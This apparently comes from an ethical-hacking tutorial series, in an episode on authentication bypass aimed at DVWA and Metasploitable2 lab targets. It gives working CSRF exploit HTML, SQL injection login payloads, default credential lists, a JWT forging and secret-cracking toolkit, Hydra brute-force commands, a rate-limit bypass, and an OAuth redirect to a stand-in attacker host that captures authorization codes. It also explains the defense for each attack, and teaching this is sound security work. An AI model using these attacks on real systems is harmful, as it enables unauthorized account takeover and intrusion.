Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password

What will I learn
- How authentication systems break: logic flaws, token manipulation, default credentials;
- JWT attacks: none algorithm, weak secrets, key confusion;
- Session management failures: predictable tokens, fixation, improper invalidation;
- OAuth misconfigurations and open redirect chains;
- Brute force with Hydra and Burp Intruder against login forms;
- Testing authentication on DVWA and Metasploitable2.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Python 3 with PyJWT (
pip install pyjwt) and requests; - Hydra (pre-installed on Kali);
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password (this post)
Solutions to Episode 16 Exercises
Exercise 1 -- DVWA CSRF exploit:
(html comment removed: evil.html served on :9999 )
<html><body>
<h1>Congratulations! You won!</h1>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change" width="1" height="1">
</body></html>
(html comment removed: Test chain:
1. Log into DVWA in tab 1 (password: "password")
2. Visit localhost:9999/evil.html in tab 2
3. Try logging into DVWA with "password" -- FAILS
4. Login with "pwned" -- SUCCEEDS
5. Password was changed without any visible interaction )
(html comment removed: Medium security bypass:
DVWA checks: stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME'])
Server name is "localhost". Host exploit at:
http://evil.com/localhost/csrf.html
The Referer header now contains "localhost" -- check passes.
)
The key insight: at Low security, the attack is trivial -- a hidden 1x1 image tag does the job. At Medium, the Referer check uses stripos which searches ANYWHERE in the string. Embedding the server hostname in the attacker's URL path defeats it completely. The defense looks convincing but is architecturally broken -- substring matching is not origin validation.
Exercise 2 -- CSRF scanner:
import requests
from html.parser import HTMLParser
class FormParser(HTMLParser):
def __init__(self):
super().__init__()
self.forms = []
self.current_form = None
def handle_starttag(self, tag, attrs):
attrs = dict(attrs)
if tag == 'form':
self.current_form = {'action': attrs.get('action', ''), 'inputs': []}
elif tag == 'input' and self.current_form is not None:
self.current_form['inputs'].append(attrs)
def handle_endtag(self, tag):
if tag == 'form' and self.current_form:
self.forms.append(self.current_form)
self.current_form = None
def check_csrf(url):
resp = requests.get(url, timeout=10)
parser = FormParser()
parser.feed(resp.text)
samesite = 'samesite' in resp.headers.get('Set-Cookie', '').lower()
for form in parser.forms:
token_names = ['token', 'csrf', '_csrf', 'nonce', 'authenticity']
has_token = any(
any(t in inp.get('name', '').lower() for t in token_names)
for inp in form['inputs'] if inp.get('type') == 'hidden'
)
risk = 'LOW' if (has_token and samesite) else 'MEDIUM' if (has_token or samesite) else 'HIGH'
print(f"Form -> {form['action']}: CSRF Risk = {risk}")
The key insight: most CSRF scanners just check for tokens. But SameSite cookies are equally important -- and many scanners miss them entirely. A form with no token but SameSite=Strict cookies is arguably more secure than a form with a CSRF token but no SameSite, because SameSite is enforced by the browser (can't be bypassed by application-level bugs) while tokens can be leaked via XSS on the same origin.
Exercise 3 -- Protected vs vulnerable Flask app:
# Key difference: protected app has THREE layers:
# 1. csrf_token hidden field in form + server-side validation
# 2. Set-Cookie with SameSite=Strict
# 3. Origin header check in before_request
# Attack test: form POSTing from evil.html:9999 to protected:5000
# Result: 403 Forbidden (Origin: http://localhost:9999 rejected,
# CSRF token missing, SameSite blocks cookie delivery)
# Three independent defenses -- all three must fail for CSRF to work
Learn Ethical Hacking (#17) - Authentication Bypass
We've spent the last five episodes attacking what happens AFTER you're logged in. SQL injection (episodes 12-13) extracts credentials from the database. XSS (episodes 14-15) steals session cookies from the browser. CSRF (episode 16) rides the victim's authenticated session to perform actions on their behalf. Every one of those attacks assumes the user is already authenticated -- you're either stealing the proof of identity or abusing the trust that identity carries.
Now we attack the login itself. How do you get in when you don't have the password?
More often than you'd think, the answer isn't "crack it" or "steal it." It's "the authentication is broken." The login page looks solid. It has a username field, a password field, a submit button. Maybe even a CAPTCHA. But the logic behind it -- the code that decides whether you're allowed in -- has flaws. And those flaws range from embarrassingly simple (the password is admin) to devastatingly elegant (the cryptographic signature verification accepts unsigned tokens).
Hier we gaan.
Default Credentials: The Lowest-Hanging Fruit
Before trying anything sophisticated, try the obvious. An alarming number of production systems still use the credentials they shipped with:
# Common default credentials to try:
# admin:admin admin:password root:root
# admin:1234 test:test guest:guest
# admin:changeme user:user sa:sa
# root:toor (Kali!) postgres:postgres
# Metasploitable2 is a showcase of this:
# msfadmin:msfadmin postgres:postgres
# user:user service:service
# Automated default credential check with Hydra:
hydra -C /usr/share/wordlists/default-credentials.txt \
192.168.56.101 ssh
# -C uses colon-separated user:pass format (more efficient
# than separate -L/-P for known credential pairs)
Metasploitable2 is the perfect lab target here. It deliberately ships with weak and default credentials on every service -- SSH, FTP, PostgreSQL, Telnet, VNC. In the real world, services like Shodan and Censys index internet-facing devices with default credentials. Thousands of IoT devices, routers, databases, and admin panels are accessible right now with admin:admin. Having said that, "right now" is a moving target because automated botnets scan for these too -- Mirai (the IoT botnet from 2016 that took down half the internet) spread by trying 62 default username/password combinations against Telnet services. Sixty-two. That's all it took to build a botnet powerful enough to DDoS Dyn DNS and bring down Twitter, Netflix, Reddit, and Github simultaneously.
Router admin panels are especially bad. Most people never change the default admin password on their home router. And the router's web interface typically has zero CSRF protection (remember episode 16?). So an attacker can CSRF the router's admin panel, change the DNS settings, and route all of the victim's internet traffic through their own DNS server. Default credentials + CSRF + DNS hijacking -- three individually modest vulnerabilities that chain into total network compromise.
SQL Injection for Authentication Bypass
We covered SQL injection thoroughly in episodes 12-13. But it deserves mention here because it's the CLASSIC authentication bypass:
Username: admin' -- -
Password: anything
SQL becomes:
SELECT * FROM users
WHERE username='admin' -- -' AND password='anything'
The -- - comments out the password check entirely. If there's a user called "admin" in the database, you're in. No password needed. No brute forcing. No credential database. Just a single quote and a comment.
DVWA's login at Low security is vulnerable. Try it:
Username: admin' OR '1'='1' -- -
Password: (literally anything, it doesn't matter)
The OR '1'='1' makes the WHERE clause always true, so the query returns the first row in the users table -- usually the admin account. The defense is what we covered in episode 12: parameterized queries. The fact that this still works in 2026 on real applications tells you everything you need to know about the state of web security. We literally solved this problem 20 years ago and people are still concatenating strings into SQL ;-)
JWT Attacks
JSON Web Tokens are the modern standard for stateless authentication. Instead of server-side sessions (where the server stores session data and gives you a cookie with a session ID), the token itself contains your identity, signed with a secret key. The server doesn't need to store anything -- it just verifies the signature on each request.
A JWT has three parts separated by dots: header.payload.signature
import jwt
import base64
import json
# Decode a JWT (no verification needed -- the payload is just base64)
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.XYZ"
# Header and payload are NOT encrypted -- just base64-encoded
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(token.split('.')[1] + '=='))
print(f"Header: {header}") # {"alg": "HS256", "typ": "JWT"}
print(f"Payload: {payload}") # {"user": "guest", "role": "user"}
The payload says "role": "user". What if we change it to "role": "admin"? The signature prevents that -- if you modify the payload, the signature won't match and the server rejects it. Unless the signature verification is broken.
Attack 1: The "none" algorithm
Some JWT libraries accept "alg": "none" -- meaning no signature is required at all:
import jwt
# Create a forged JWT with no signature
forged = jwt.encode(
{"user": "admin", "role": "admin"},
key="",
algorithm="none" # NO SIGNATURE REQUIRED
)
print(f"Forged JWT: {forged}")
# Result: header says alg=none, payload says admin, signature is empty
# If the server accepts alg=none, you just became admin
This is CVE-2015-2951. The JWT specification says implementations MUST support "none" for unsigned tokens (used in trusted environments where the transport layer provides security). The problem is that many libraries implemented "support none" as "accept none" -- they verify the token's claimed algorithm instead of enforcing the server's expected algorithm. A properly configured server should NEVER accept alg: none from an untrusted client, but "properly configured" is doing a lot of heavy lifting there.
The fix is straightforward: when verifying JWTs, explicitly specify which algorithms you accept. In Python: jwt.decode(token, secret, algorithms=["HS256"]) -- this rejects any token claiming a different algorithm, including "none". But if you write jwt.decode(token, secret, algorithms=["HS256", "none"]) or (worse) let the library auto-detect the algorithm from the token header, you're vulernable.
Attack 2: Weak secret cracking
If the server uses HS256 (HMAC-SHA256) with a weak secret, you can brute-force it offline:
# Crack JWT secret with hashcat (fast, GPU-accelerated)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.SIGNATURE" > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or in Python (slower, but educational):
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.dGhpcyBpcyBhIHRlc3Q"
wordlist = '/usr/share/wordlists/rockyou.txt'
for line in open(wordlist, errors='replace'):
password = line.strip()
try:
jwt.decode(token, password, algorithms=["HS256"])
print(f"[+] Secret found: {password}")
# Now forge any JWT you want
admin_token = jwt.encode(
{"user": "admin", "role": "admin"},
password,
algorithm="HS256"
)
print(f"[+] Admin token: {admin_token}")
break
except jwt.InvalidSignatureError:
continue
except jwt.DecodeError:
continue
Once you have the secret, you can forge any token you want -- change the user, the role, the permissions, the expiration date. The server will verify the signature and accept it because the signature is valid. This is why JWT secrets must be long, random, and NEVER something like "secret", "password", or your company name. I've seen JWTs in production signed with "test", "changeme", and (my personal favorite) the company's domain name. Rockyou.txt cracks all of those in under a second.
Attack 3: RS256/HS256 key confusion
This one is devastatingly elegant. When the server uses RS256 (RSA asymmetric -- signs with a private key, verifies with a public key), the public key is... public. It's often available at a JWKS endpoint or embedded in the application's documentation.
If the server's JWT library accepts BOTH RS256 and HS256, an attacker can:
- Download the server's RSA public key
- Create a new JWT with
"alg": "HS256"and sign it using the RSA public key as the HMAC secret - The server sees
alg: HS256and uses its "secret key" (which is the public key, because the same key material is used for verification) to verify the HMAC - The HMAC verifies because the attacker used the same public key to sign
This is CVE-2016-10555. The confusion happens because RSA and HMAC use keys differently: RSA has a key PAIR (public verifies, private signs), but HMAC uses a SINGLE symmetric key (same key signs and verifies). If the library doesn't enforce which algorithm is allowed, the attacker switches from asymmetric to symmetric, and the "public" key becomes the shared secret.
The fix: always specify the expected algorithm AND key type when verifying. jwt.decode(token, rsa_public_key, algorithms=["RS256"]) -- this rejects any token claiming HS256, regardless of whether the signature would verify.
Session Management Attacks
JWT attacks target stateless authentication. Session-based authentication has its own class of vulnerabilities:
Predictable session tokens:
# Bad: sequential session IDs
session_id = last_session_id + 1
# Bad: timestamp-based
import time
session_id = str(int(time.time()))
# Bad: weak hash of predictable data
import hashlib
session_id = hashlib.md5(username.encode()).hexdigest()
# Good: cryptographically random
import secrets
session_id = secrets.token_hex(32)
If session tokens are predictable, an attacker enumerates valid sessions for other users. The timestamp-based example is especially common in custom-built authentication systems -- the developer thinks "a timestamp is unique" (which it is) and concludes "unique means secure" (which it absolutely does not). Uniqueness and unpredictability are completely different properties. A sequential counter is unique but trivially predictable. Only cryptographic randomness provides both.
Session fixation:
This is a clever attack that exploits applications that don't regenerate session IDs after authentication:
- Attacker visits the login page and gets a valid (unauthenticated) session ID:
PHPSESSID=abc123 - Attacker tricks the victim into using that same session ID (via a URL parameter like
http://target.com/login?PHPSESSID=abc123, or by injecting a cookie via XSS on a subdomain) - Victim logs in with their credentials. The application authenticates the session
abc123-- it's now an authenticated session - Attacker uses
abc123in their own browser. They're logged in as the victim.
The key point: the session ID didn't change when the user logged in. The same token that was unauthenticated is now authenticated, and the attacker has it. Defense: regenerate the session ID immediately after successful authentication. In PHP: session_regenerate_id(true). In Flask: assign a new session key. In Django: request.session.cycle_key(). Every framework has this capability built in -- developers just have to actually call it.
Session invalidation failures:
When a user clicks "logout", does the session actually get destroyed on the server? Or does the application just delete the cookie from the browser and leave the session alive in the session store? If the session is still valid server-side, anyone with the old session ID (captured via XSS, network sniffing, or browser history) can continue using it. Proper logout means destroying the session on the server, not just forgetting the cookie on the client. The number of applicaitons that get this wrong is depressing.
Brute Force with Hydra
When default credentials don't work and there's no authentication bypass, there's always brute force. Hydra is the standard tool:
# SSH brute force against Metasploitable2
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 ssh -t 4
# -l: single username -P: password wordlist -t: parallel tasks
# FTP brute force
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 ftp
# HTTP form-based login (DVWA)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.56.101 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect:H=Cookie: PHPSESSID=xxx; security=low"
The HTTP form syntax is the most complex: path:parameters:failure_string:headers. Hydra sends a request for each password in the wordlist, replacing ^USER^ and ^PASS^ with the test values. It then checks if the failure string ("Username and/or password incorrect") appears in the response. If it doesn't -- the login succeeded. The H=Cookie: part passes the DVWA session cookie so Hydra can access the protected page.
Against Metasploitable2's SSH, Hydra finds msfadmin:msfadmin almost instantly because it's near the top of the wordlist. Against a real system with a strong password and account lockout after 5 failed attempts, brute force is rarely practical. But many applications still don't have account lockout -- they let you try unlimited passwords with no rate limiting, no CAPTCHA, no delays. And with a wordlist of the top 10,000 most common passwords, you'd be surprised how many accounts fall.
Rate limiting and lockout bypass:
Some applications implement client-side rate limiting (JavaScript countdown timers) that can be bypassed by sending requests directly via Hydra or Burp. Others use IP-based rate limiting that can be bypassed with the X-Forwarded-For header if the application trusts that header without validation:
# Burp Intruder or custom script with rotating X-Forwarded-For
# Some apps check this header for rate limiting:
# X-Forwarded-For: 1.2.3.4 (attempt 1)
# X-Forwarded-For: 1.2.3.5 (attempt 2)
# X-Forwarded-For: 1.2.3.6 (attempt 3)
# Each request appears to come from a different IP
This works because X-Forwarded-For is a client-supplied header. If the application uses it for rate limiting without verifying it came from a trusted proxy, the attacker controls the "source IP" the rate limiter sees. Having said that, modern reverse proxy configurations (nginx, Cloudflare) typically set X-Real-IP from the actual TCP connection and applications should use that instead. But many don't, and the vulnerability persists ;-)
OAuth Misconfigurations
OAuth 2.0 lets users log in with their Google/Facebook/GitHub account instead of creating a new password. The protocol is well-designed. The implementations are frequently not.
Open redirect in redirect_uri: The OAuth flow works like this: your app sends the user to Google with a redirect_uri parameter -- "after the user logs in, send them back to this URL with an authorization code." If the application doesn't strictly validate the redirect_uri, an attacker changes it to their own server:
https://accounts.google.com/o/oauth2/auth?
client_id=legit-app-id&
redirect_uri=https://attacker.com/callback&
response_type=code&
scope=openid
Google authenticates the user and redirects them to https://attacker.com/callback?code=AUTHORIZATION_CODE. The attacker now has a valid authorization code that they can exchange for an access token. Some OAuth providers validate the redirect_uri against a registered list, but others allow subdomain variations, path traversal, or wildcard matching that can be abused.
Missing state parameter: The state parameter prevents CSRF in OAuth flows (yes, CSRF from episode 16 shows up everywhere). Without it, an attacker initiates an OAuth login, gets the authorization URL, and forces the victim to complete the flow. The victim's account gets linked to the attacker's OAuth identity. With the state parameter, the application generates a random value, stores it in the user's session, and verifies it when the callback comes back -- same principle as anti-CSRF tokens.
Token leakage: If the OAuth token is passed in the URL fragment or query string, it can leak through the Referer header (when the user clicks a link on the callback page, the full URL including the token is sent as the Referer to the linked page), browser history, proxy logs, and server access logs. This is why the response_type=code flow (authorization code) is preferred over response_type=token (implicit flow) -- the authorization code is short-lived and single-use, while the access token is the actual credential.
Multi-Factor Authentication Bypass
MFA is supposed to be the final defense layer. But it can be bypassed:
Response manipulation: Some applications check MFA on the client side by looking for a specific response value. Intercepting the response in Burp and changing "mfa_valid": false to "mfa_valid": true can bypass the check entirely. Sounds absurd, but it happens -- especially in mobile APIs where developers assume the client-side code is trustworthy.
MFA code brute force: A 6-digit TOTP code has 1,000,000 possible values. If the application doesn't rate-limit MFA attempts or doesn't expire codes after a few failed tries, you can brute-force it. At 10 requests per second, that's 100,000 seconds -- about 28 hours. But TOTP codes rotate every 30 seconds, so you need to try all million within that 30-second window. Most applications accept codes from adjacent time windows (the previous and next 30-second period) to account for clock skew, which gives you 90 seconds and roughly 3 million valid codes across 3 windows. The math doesn't work for brute force -- but if the application uses a 4-digit code (some SMS-based systems do), that's only 10,000 values. Very bruteforceable.
# Demonstrating MFA code space (NOT a real attack script)
import itertools
# 6-digit TOTP: 10^6 = 1,000,000 possibilities
six_digit = 10 ** 6 # 1,000,000
# 4-digit SMS code: 10^4 = 10,000 possibilities
four_digit = 10 ** 4 # 10,000
# At 100 requests/second:
# 6-digit: 10,000 seconds (2.7 hours) -- but code expires in 30s
# 4-digit: 100 seconds -- feasible within a 30-second window!
print(f"6-digit codes: {six_digit:,} possibilities")
print(f"4-digit codes: {four_digit:,} possibilities")
print(f"At 100 req/s, 4-digit takes {four_digit/100:.0f} seconds")
The AI Slop Angle
AI-generated authentication code is consistently weak (continuing our thread from episode 6, through SQL injection in 12, XSS in 14, and CSRF in 16):
- JWT libraries used without algorithm whitelisting --
jwt.decode(token, key)withoutalgorithms=["HS256"], accepting whatever algorithm the token claims - Session tokens generated with
random.randint()instead ofsecrets.token_hex()-- predictable with enough samples - Password reset tokens built from timestamps or sequential IDs
- Missing account lockout on login endpoints -- unlimited brute force attempts
- Sessions that survive logout (cookie deleted but session not destroyed server-side)
- MFA checks implemented client-side in JavaScript (trivially bypassable)
- Rate limiting on authentication endpoints either absent or implemented via client-supplied headers
The pattern is always the same: the AI generates code that authenticates users. It doesn't generate code that resists attackers. The functional test passes ("can a valid user log in? yes"). The security test was never written ("can an invalid user get in by manipulating the token algorithm? by brute-forcing the endpoint? by replaying a session after logout?"). The code works perfectly in development where everyone is honest. It falls apart the moment someone tries to cheat.
Building a JWT Attack Toolkit
Let's build a Python script that automates the three JWT attacks we covered:
#!/usr/bin/env python3
"""
JWT attack toolkit -- demonstrates none algorithm, secret cracking,
and token forging. LAB USE ONLY.
"""
import jwt
import base64
import json
import sys
def decode_jwt(token):
"""Decode and display JWT header and payload (no verification)."""
parts = token.split('.')
if len(parts) != 3:
print("[-] Invalid JWT format (expected 3 dot-separated parts)")
return None, None
# Add padding for base64 decoding
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"[*] Header: {json.dumps(header, indent=2)}")
print(f"[*] Payload: {json.dumps(payload, indent=2)}")
print(f"[*] Algorithm: {header.get('alg', 'UNKNOWN')}")
return header, payload
def attack_none(payload_data):
"""Forge a JWT using the none algorithm (no signature)."""
forged = jwt.encode(payload_data, key="", algorithm="none")
print(f"[+] Forged token (alg=none): {forged}")
return forged
def crack_secret(token, wordlist_path):
"""Brute-force the JWT HMAC secret using a wordlist."""
tried = 0
with open(wordlist_path, 'r', errors='replace') as f:
for line in f:
password = line.strip()
tried += 1
try:
jwt.decode(token, password, algorithms=["HS256"])
print(f"[+] Secret found after {tried} attempts: {password}")
return password
except (jwt.InvalidSignatureError, jwt.DecodeError):
continue
if tried % 10000 == 0:
print(f"[*] Tried {tried} passwords...")
print(f"[-] Secret not found after {tried} attempts")
return None
if __name__ == '__main__':
# Demo: create a test JWT, decode it, attack it
secret = "secret123"
test_token = jwt.encode(
{"user": "guest", "role": "user"},
secret,
algorithm="HS256"
)
print("=== JWT Attack Toolkit Demo ===\n")
print(f"[*] Test token: {test_token}\n")
# Step 1: Decode
header, payload = decode_jwt(test_token)
# Step 2: None algorithm attack
print("\n--- None Algorithm Attack ---")
payload["role"] = "admin"
payload["user"] = "admin"
attack_none(payload)
# Step 3: Secret cracking (using a small inline wordlist for demo)
print("\n--- Secret Cracking ---")
# In real use: crack_secret(test_token, '/usr/share/wordlists/rockyou.txt')
for guess in ["password", "admin", "secret123", "changeme"]:
try:
jwt.decode(test_token, guess, algorithms=["HS256"])
print(f"[+] Secret found: {guess}")
admin_token = jwt.encode(
{"user": "admin", "role": "admin"},
guess,
algorithm="HS256"
)
print(f"[+] Forged admin token: {admin_token}")
break
except jwt.InvalidSignatureError:
print(f"[-] Not: {guess}")
Putting It All Together: The Authentication Attack Methodology
At this point you have a structured approach to attacking authentication:
- Try default credentials first -- check documentation, searchsploit, Shodan, common credential lists
- Check for SQLi in the login form --
admin' -- -in the username field (episode 12) - Inspect authentication tokens -- if JWT, decode the header and test for none algorithm and weak secrets. If session-based, check for predictable tokens
- Test session management -- does the session ID change after login? Does logout actually destroy the session? Can you fixate a session?
- Brute force -- if no lockout or rate limiting exists, Hydra with a targeted wordlist
- Check OAuth flows -- open redirects, missing state parameter, token leakage
- Test MFA -- response manipulation, code brute force, missing enforcement on certain endpoints
This is the methodology professional pentesters use for authentication testing. OWASP Testing Guide v4 has an entire section (OTG-AUTHN) dedicated to it with 10 sub-categories. What we've covered today maps directly to those categories.
Every web vulnerability we've studied so far can amplify authentication weaknesses. XSS steals sessions. CSRF rides sessions. SQL injection extracts password hashes. And authentication bypass gives you a session without any of that -- you just walk through the front door. The web's attack surface keeps expanding with every layer we peel back. We've been focusing on application-level vulnerabilities so far -- attacks that exploit how the application handles input, sessions, and identity. But applications also make requests to other servers, and those server-to-server interactions introduce an entirely new class of vulnerabilities where the application itself becomes the attack proxy.
Exercises
Exercise 1: Use Hydra to brute-force the DVWA login page (Security: Low) and Metasploitable2's SSH service. For DVWA, use the admin username and rockyou.txt (you'll need to extract the PHPSESSID cookie first -- use Burp or your browser's dev tools). For SSH, try common usernames (root, admin, msfadmin, user). Document: how many attempts each took, what the credentials were, and what happens when you change DVWA to Medium security -- does the HTTP form attack still work? What changed in the server's response handling? Save your findings in ~/lab-notes/brute-force-attacks.md.
Exercise 2: Write a Python JWT attack toolkit that: (a) takes any JWT as input and decodes the header and payload without verification, (b) tests the "none" algorithm attack by creating a forged admin token with alg=none and printing it, (c) attempts to crack the JWT secret using a wordlist file (start with a small custom wordlist of 100 common passwords, then try rockyou.txt). Test it against JWTs you create yourself: jwt.encode({"user": "guest"}, "secret123", algorithm="HS256"). Save the toolkit as ~/pentest-tools/jwt_attack.py.
Exercise 3: Build a Flask application that demonstrates three authentication weaknesses side by side: (a) a login endpoint with NO rate limiting (unlimited password attempts), (b) a session system using predictable tokens (timestamp-based, so you can demonstrate session prediction), and (c) a "secure" version that uses secrets.token_hex(32) for session IDs, implements account lockout after 5 failed attempts, and regenerates the session ID after successful login. Write a test script that demonstrates the weakness of (a) and (b) and proves that (c) resists both attacks. Save everything in ~/auth-lab/.